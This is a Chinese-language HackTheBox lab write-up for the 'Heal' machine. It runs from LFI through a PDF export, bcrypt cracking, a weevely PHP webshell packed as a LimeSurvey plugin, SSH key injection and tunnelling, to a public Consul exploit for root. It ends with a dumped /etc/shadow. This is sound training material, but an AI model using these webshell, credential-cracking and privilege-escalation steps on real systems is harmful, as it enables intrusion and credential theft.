HackTheBox - Machine - Heal

MANESEC on 2024-12-21

Recommand: Let's Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Heal

image

https://www.hackthebox.com/achievement/machine/463126/640

夜のスクリーン、コードの囁き (夜的屏幕,代码的低语)

ポートの光、君のページ輝く (端口的光芒,你的页面闪耀)

秘密のサイト、君の笑顔 (秘密的网址,你的笑靥)

ログイン試す、夜の風 (尝试登录,夜的清风)

フォームの壁、愛のエラー (表单的墙壁,爱的错误)

パスワード探す、心のデータ (寻觅密码,心的数据库)

君の名前、遠い星のよう (你的名字,仿佛遥远的星辰)

ハックするまで、眠れない (直到骇入,无法入眠)

ハックするよ、君のサイト (我要骇入,你的网址)

愛のシェル、夜を越えて (爱的 shell,穿越这黑夜)

ポートの鍵、8080 の夢 (端口的密钥,8080 的梦境)

Root の愛、でも心は遠い (Root 的爱恋,但心却遥远)

隠したリンク、君の秘密 (隐藏的链接,你的秘密)

クリックの裏、PHP の涙 (点击的背后,PHP 的泪滴)

フォームに願い、愛の入力 (向表单许愿,输入这份爱恋)

でも君の目は、403 の壁 (但你的眼神,是 403 的阻绝)

トンネル掘る、心の回線 (挖掘隧道,心的线路)

コードが歌う、愛の暗号 (代码在歌唱,爱的暗号)

偽の鍵は、もういらない (虚假的密钥,已不再需要)

私の愛は、ただ純粋 (我的爱恋,只是纯粹)

ハックするよ、君のサイト (我要骇入,你的网址)

愛のシェル、夜を越えて (爱的 shell,穿越这黑夜)

ポートの鍵、8080 の夢 (端口的密钥,8080 的梦境)

Root の愛、でも心は遠い (Root 的爱恋,但心却遥远)

田舎の夜、ピクセルの涙 (乡间的夜晚,像素的泪光)

Root を手に入れても、君はいない (即使获得了 Root,你却已不在)

愛のコード、夜のスクロール (爱的代码,黑夜的卷轴)

ハートはいつも、404 の闇 (我心总是,404 的幽暗)

ハックしたよ、君のサイト (我已骇入,你的网址)

でも愛のリンク、繋がらない (但爱的链接,无法接通)

ポートの鍵、8080 の嘘 (端口的密钥,8080 的谎言)

Root の果て、ただ星を見る (Root 的尽头,唯有凝望星空)

夜の田舎、コードの残響 (夜的乡野,代码的回响)

君のサイト、遠い夢 (你的网址,遥不可及的梦)

Nmap

首先一上來肯定是使用nmap掃一下:

bash
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
|   256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Heal
|_http-favicon: Unknown favicon MD5: 800D9D6AD40E40173F19D5EE9752AC18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

看來是從80端口入手。

80 - WEB

輸入 ip 在瀏覽器之後會跳轉到 heal.htb 這個域名,嘗試掃描子域名,會直接被block,所以放棄掃描。

image

因爲現在沒有任何賬號密碼,所以注冊一個賬號看看:

image

但是點擊注冊會出現一個錯誤,按下 F12 看一下,原來他請求了另一個域名: http://api.heal.htb

image

把他加進去 hosts 之後,點擊注冊,就跳轉到了注冊后的頁面。

Walkaround about survey page

看到右邊有一個 SURVEY ,也就是問卷的按鈕:

image

然後就來到了這個頁面:

image

從這個按鈕中(也就是上圖的左下角)可以看到,跳轉到了另一個域名: take-survey.heal.htb

image

問卷看不到什麽有用的東西,訪問主域名的時候看到:

image

bash
The following surveys are available:

Please contact Administrator ( ralph@heal.htb ) for further assistance.

這裏存在一個有效的用戶是 ralph@heal.htb,有可能是管理員,

關於 LimeSurvey 的後臺頁面可以從 http://take-survey.heal.htb/admin 看到:

image

因爲現在也沒有密碼,所以先看一下有沒有其他的地方可以入手。

Back to user home page and found LFI

回到注冊完的頁面,最底下的頁面中看到有一個導出成 PDF 的按鈕:

image

點擊一下之後就下載了PDF:

image

通常有下載的地方都會存在 LFI ,於是使用 burp 截取一下:

image

發送到 Repeater 之後嘗試獲取 /etc/passwd ,結果真的有數據:

image

LFI to Rails and crack ralph's password

如果訪問 http://api.heal.htb/

image

你可以看到他是一個 Rails 框架,也就是使用 ruby 寫的服務器,搜了一圈沒有什麽 CVE,既然存在LFI,那就找一下數據庫會放在哪裏:

image

搜了一圈之後,比較有用的就是這兩篇:

在第一個鏈接中看到數據庫會放在 config/database.yml 這個路徑,而且似乎是固定的:

image

上面的數據庫文件會放在項目文件夾裏面,由於不知道會放在哪裏,猜會放在某個上層路徑中,所以嘗試枚舉 config/database.yml,類似如下:

bash
config/database.yml
../config/database.yml
../../config/database.yml
../../../config/database.yml
../../../../config/database.yml

image

image

結果在../../config/database.yml 中得到該文件的内容,這個文件指向了另一個路徑,也就是數據庫的路徑,所以嘗試訪問 test.sqlite3

image

但什麽也沒有,嘗試訪問 development.sqlite3,結果發現了一串 hash:

image

bash
ralph@heal.htb   $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

使用 name-that-hash 看一下這個hash是什麽類型的:

bash
$ nth -t '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG'

image

bcrypt,這個類型的破解速度有點久,嘗試使用 hashcat 看看能不能破解成功:

image
結果成功了:

bash
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369

Login LimeSurvey as ralph user and install malicious plugin

既然有了 ralph 這個用戶,沒辦法登錄ssh,不過可以嘗試登錄看看:

image

結果什麽也沒有得到,在一開始的 http://take-survey.heal.htb/ 中可以看到裏面有 ralph 這個用戶,所以嘗試登陸看看:

image

結果成功了:

image

登陸進去之後點擊 Plugins 這裏:

image

可以看到允許安裝一些插件,

image

點擊後會提示上傳插件 zip 包,

image

從上面的url中發現是php的框架,所以如果上傳惡意插件的話,很大程度上可以拿到shell,嘗試製作一個 zip,裏面就包括一個 php 的 webshell,這裏使用 weevely 快速做一個,然後把他打包到 mane.zip中:

bash
$ weevely generate mane mane.php
$ zip mane.zip mane.php

image

嘗試上傳,發現 zip 裏面需要 config.xml 才可以:

image

Add config.xml into zip file

所以就上網查一下關於 reverse shell plugin 之類的東西,參考一下人家的 config.xml 是怎麽寫的:

image

找到了這篇:https://github.com/Y1LD1R1M-1337/Limesurvey-RCE

image

看到上面有config.xml 這個文件,然後就下載這個文件,并且加入進去 mane.zip中:

image

上傳后看到:

image

意思是版本不支持,所以看了一下 config.xml 裏面寫了什麽,由於當前版本是 6 開頭的,按照上面的版本號嘗試增加 <version>6.0</version>

image

然後在打包上傳上去看看,結果彈出了安裝頁面:

image

點擊安裝後就提示安裝成功:

image

在插件的最後一頁也出現剛剛上傳的惡意插件:

image

所以根據 github 的描述

image

會變成:

bash
http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/mane.php

嘗試使用 curl 看一下 http 的狀態碼是不是 200,如果是的話意味著 webshell 存在:

image
看起來沒有出現任何問題。

Using Weevely to connect php backdoor and get webshell

所以嘗試使用 weevely 連接:

image

結果成功了,因爲這個shell會斷開,所以獲得一個 reverse shell 之後,跑一下 linpeas

image

看到一串密碼,

bash
AdmiDi0_pA$$w0rd

Shell as user

因爲不知道是哪個用戶的,在 /home 中看到了兩個用戶,所以依次 su 看看,結果是 ron 這個用戶的密碼:

image

bash
ron : AdmiDi0_pA$$w0rd

在linpeas中看到root裏有一些奇怪的進程:

bash
ron@heal:~$ ps -auxwwf | grep root

image

看起來是 consul 的服務器在運行,網上查了一下看到他會監聽 8600 這個端口:

image

如下圖:https://developer.hashicorp.com/consul/docs/install/ports

image

確定本機有這個端口之後:

image

Setup SSH Tunnel

使用 ssh 進行端口轉發,由於該用戶不允許ssh 遠程登陸,所以生成一個 ssh key 然後連接:

image

并且寫入到 ron 這個用戶:

bash
$ mkdir ~/.ssh
$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFmfmCYT7uq6KDk57TUJjBBq1wmbyu/C2CJaxI0SQcK0 mane@manesec' > ~/.ssh/authorized_keys

這樣就可以嘗試使用ssh連接了:

bash
$ ssh -L 127.0.0.1:8500:127.0.0.1:8500 -i key ron@10.129.151.251

image

Exploit consul to got root

使用瀏覽器打開看看裏面是什麽:

image

好像不需要密碼,所以去網上搜索關於 consul 的exploit:

image

看到了這篇:https://www.exploit-db.com/exploits/51117

把他保存之後使用 python 運行看看,由於沒有密碼就使用 '' 看看能不能運行:

image

結果獲得了 root 的shell:

image

Hashes

bash
cat /etc/shadow
root:$y$j9T$PXt5gUmlNdTkrYBWtWJ.g0$KMKlRSr0.BNG0zhjcDIKvNsPkce/xbEtF22T1w/xKR8:19993:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19970:0:99999:7:::
ralph:$y$j9T$4Dy9HV2pcNjs/CJXRU9x11$Irhr1vraxuLfMbmhd1FmK5oq37WeIfwbMSTYu7Ud5U2:20066:0:99999:7:::
lxd:!:19970::::::
avahi:*:19993:0:99999:7:::
geoclue:*:19993:0:99999:7:::
postgres:*:19993:0:99999:7:::
_laurel:!:20065::::::
ron:$y$j9T$haKqSIafpebVZoB765rgf/$cC27DCE3e2WKdbe7Srsgy7CoFjTgtbwREp4olnJyKa3:20066:0:99999:7:::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)

Copyright © 2016-2025 manesec. All rights (include theme) reserved.